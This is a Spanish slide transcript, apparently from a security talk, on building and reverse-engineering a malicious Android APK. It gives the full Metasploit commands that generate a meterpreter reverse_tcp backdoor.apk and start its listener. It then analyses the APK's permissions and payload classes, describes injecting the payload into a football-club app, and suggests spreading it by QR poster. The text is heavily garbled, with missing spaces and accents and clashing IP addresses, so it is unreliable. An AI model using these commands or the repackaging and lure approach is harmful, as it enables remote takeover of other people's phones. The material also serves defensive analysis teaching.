Ingeniería Inversa a Una APK Maliciosa

download Ingeniería Inversa a Una APK Maliciosa

of 7

description

Realizar ingieria inversa a APP de android, este son metodos basicos con fines investigativos

Transcript of Ingeniería Inversa a Una APK Maliciosa

  • IngenieraInversaaunaAPKmaliciosaMuygrandelajornadaqueechamosenlaHack&BeersVol.2sobreMobileSecurityconmuchosamigos.Agradecerosatodos,asistentesycompaerosdecharlas,vuestrasaportacioneseinters.Puesbien,siguiendoconlacharladeseguridaddeAndroidyviendoqutanfcileshacerlela ingenierainversaaunaAPKdeAndroid,nosotrosvamosairunpocomsallyvamosaobtenerelcdigofuentedeunAPKmaliciosacreadaporMetaesploit,asquevamosmanosalaobra.

    Antesdenadaosmuestroloqueseraelsupuestoescenariodeataquedemaneravisualparaqueloentendismejor:

    CREANDOUNAAPKMALICIOSA

    VamosacrearunaAPKparaAndroidmaliciosa,paraelloloharemosdesdeKaliLinux,haciendousodelasherramientasdelframeworkMetasploit.DesdeconsolavamosausarelcomandomsfpayloadparainyectarunpayloaddentrodelaAPK.

    PrimerovemoslospayloaddisponiblesparaAndroid:

    Vamosa seleccionarunpayloadquenosdevuelvauna sesindemeterpretery que sea del tiporeverse_tcp. Para elloponemoselsiguientecomando:

    msfpayloadandroid/meterpreter/reverse_tcpLHOST=192.168.0.5LPORT=4444R>backdoor.apk

    Ademstambinhemosconfigurandoelequipoalqueseconecta(LHOST)yelpuertodeconexn(LPORT),parainyectarloenlaaplicacinmaliciosa.

    DeestamaneracualquierusuarioqueseinstalelaAPK(backdoor.apk)vaalanzarunasesindemeterpreteralamquina192.168.1.10 que estar escuchandoen el puerto 4444 (ver el escenario de ataque).Para que lamquina conMetasploitestescuchandodebemoshacerusodelexploit/multi/handlerconelpayloadandroid/meterpreter/reverse_tcpyconfigurarloconlosparmetrosconloscualescreamoslaaplicacinmaliciosa.

    msfcliexploit/multi/handlerPAYLOAD=android/meterpreter/reverse_tcpLHOST=192.168.0.5LPORT=4444E

  • Peroelobjetivodehoynoescompromenterelterminal,sinoobtenerelcdigodedichaaplicacinmaliciosaparaanalizarlo.

    INGENIERAINVERSADELAAPK

    Unavezquetenemoslabackdoor.apkvamosaseguirlossiguientespasos,haciendousodeherramientas(apktool,dex2jaryjdgui)queyanombramosenentradasanteriores:

    Obtencindelficherodemanifiesto:

    1. Desempaquetamos laAPKcon laaplicacinapktool"apktooldbackdoor.apk"ysenoscreaunacarpetaconconvarias carpetas y ficheros. Dentro podemos encontrar, entre otras cosas, nuestro tan famoso fichero demanifiestoAndroidManifest.xml.

    ObtencindelosficherosJAVA:

    1. Renombramos la APK como backdoor.zip y descomprimimos dicho paquete en una carpeta quellamaremosbackdoorzip. El fichero quems nos interesa es el classes.dex, donde tendremos las clases de laaplicacinenformatodex(cdigoparalaDalvikVM).

    2. Incluimosdentrodeestamismacarpeta todos los ficherosdelpaquetedex2jaryejecutamoselcomando "dex2jarclasses.dex".Obtendremospor tantoel ficheroclasses_dex2jar.jar, donde tenemos lasclasesde laaplicacinenformatojar.

    3. Por ltimo cogemos el fichero jar y los abrimos con la aplicacin jdgui. Podemos ver todas las clases de laaplicacinenformatojava.AhorapulsamossobreFile>SaveAllSourcesygrabamosdichosficherosenlacarpetaqueindiquemos,obtenemoselpaqueteclasses_dex2jar.src.zipcontodaslasclases

  • ANALIZANDOCDIGO

    PrimeramentevamosaanalizarelarchivodemanifiestoAndroidManifest.xml.

  • Permisosquesolicita:

    android.permission.INTERNET:Permitealasaplicacionesabrirsocketsdered.

    android.permission.ACCESS_NETWORK_STATE: Permite que las aplicaciones accedan a informacin sobreredes.

    android.permission.ACCESS_COURSE_LOCATION: Permite que una aplicacin acceda a la ubicacinaproximadaderivadodelasfuentesdeubicacindered,talescomotorresdetelefonamvilyWiFi.

    android.permission.ACCESS_FINE_LOCATION: Permite que una aplicacin acceda a la ubicacin precisa defuentesdelocalizacincomoGPS,antenasdetelefonamvilyWiFi.

    android.permission.READ_PHONE_STATE:Permiteaccesoalestadodeltelfono

    android.permission.SEND_SMS:PermitequeunaaplicacinenvemensajesSMS.

    android.permission.RECEIVE_SMS:PermitequeunaaplicacinrecibamensajesSMS.

    android.permission.RECORD_AUDIO:Permitequeunaaplicacinparagrabaraudio

    android.permission.CALL_PHONE:Permitequeunaaplicacinparainiciarunallamadadetelfonosintenerquepasaratravsdelainterfazdeusuariodelsintonizadorparaelusuarioparaconfirmarlallamadadesercolocado.

    android.permission.READ_CONTACTS:PermitequeunaaplicacinlealosdatosdeContactosdelusuario.

    android.permission.WRITE_CONTACTS: Permite que una aplicacin escriba en los datos de Contactos delusuario.

    android.permission.WRITE_SETTINGS:Permitequeunaaplicacinleeroescribirlaconfiguracindelsistema.

    android.permission.CAMERA:Accesoatodaslasfuncionesdelacmara.

    Si vemos detenidamente todos los procesos, podemos hacer casi cualquier cosa con estos permisos, y sobre todo demaneraremota,yaquetenemospermisoparaabrirsocketycambiarconfiguracindesistema.Podemoshacerllamadasanmeros de tarificacin especial, obtencin de fotografas en vivo, venta de contactos a terceros, grabar lascoversaciones,localizaralapersonaporsuposicinGPSyunlargoetc.

  • Otrainformacininteresansequepodemosencontrareslasiguiente:

    android:name=".MainActivity": Es la clase principal desde donde se carga el LAUNCHER de la actividadprincipal, es decir, cuando arranca la aplicacin es la clase que tiene el hilo principal de ejecucin. Muyimportantealahoradequeanalicemoselcdigoysaberdesdedondeempezar.

    android:theme="@android:style/Theme.NoDisplay":Eselestiloquevaautilizar laactividadprincipal,queeneste caso se trata de un estilo especial que no contiene interfaz de usuario. Por tanto nuestro cdigosimplementesevaaejecutarynonosvaamostrarnadaenpantalla,esosi,enmemoriasivaaestarpresente.

    Pasamosahoraaanalizarlosarchivos.JAVAencontradosenelclasses_dex2jar.src.zip:

    SicontrolamosalgodetemasdeprogramacinenAndroid,asimplevistapodemosidentificarlafuncindecadaficherodecdigo:

    MainActivity.java:claseprincipaldelaaplicacin,yaquelovimosenelmanifiesto.

    BuildConfig.java:claseconinformacindeconfiguracinalahoradedesarrollarlaapk.

    R.java:clasequesecreaautomticamenteencualquieraplicacinapk,dondeseasignaunidentificadornumricoacadaunodelosrecursosutilizadosenlaaplicacin.

    Payload.javayPayloadTrusManage.java:sonclasespropiasdelproyectoensi,queahorapasaremosaanalizar.

    VemoselMainActivitydelabackdoor:

    Podemos encontrar que nada ms crearse la actividad principal (mtodo onCreate) y llamar al constructor de la clase(super.onCreate),losiguientequehaceesllamaraunmtododeclasedelaclasePayload,paraposteriormentefinalizarlaejecucin(finish).Seguramenteenestemtododeclaseselanceotrohilodeejecucin,yaqueelhiloprincipalmuereconelfinish.VamosaverlaclasePayload:

  • Para empezar vemos en el cdigo que hay gran cantidad de libreras importadas que nos dan mucho juego comomanejadores(Handler), entrada y salida de datos (DataInputStream yDataOutputStream), entrada y salida de ficheros(FileyFileOutputStream),socket(Socket),conexioneshttps(HttpsURLConnection),etc.

    Si seguimos viendo cdigo, en la declaracin de atributos de la clase Payload vemos dos atributos bastanteinteresantes:LHOSTyLPORT, quenosonsino ladireccin IP yel puertodeconexindenuestramquinadondeestarescuchandoMetasploit. Vemos que forman parte de unas cadenas conms caracteres, demanera que un analizador decdigonopuedaidentificarfcilmenteunadireccinIPopuerto.

    UTILIZANDOELCDIGOYUNPOQUITODEINGENIERASOCIAL

    PodamosseguiranalizandoelcdigofuentepasoapasoyobtenerfuncionescomoreverseTCP,reverseHTTP,startReverseConn,etc.Peroenvezdeeso,hemoscreadounaaplicacindelCrdobaC.F.,aprovechandoquesomosequipodeprimera,ylehemosinyectadoelcdigodelPayloadanalizado.

  • EstolopodrautilizarunapersonaconmalasintencionesyahoraslotendraqueecharlaimaginacinavolaryutilizarlaIngenieraSocialparadivulgarlaAPKmaliciosa,comoporejemplocolgarestecartelenlosalrededoresdelestadio.

    OspodisdescargarsinproblemaslaAPKdesdeelcdigoQRporquelaaplicacinestapuntandoaunadireccinIPlocalyporquelehequitadotodoelcdigoreferentealasfuncionesdemeterpreter,esdecir,slorealizalaconexinreverse_tcp,peronorespondebajoningncomandodelosdemeterpreter.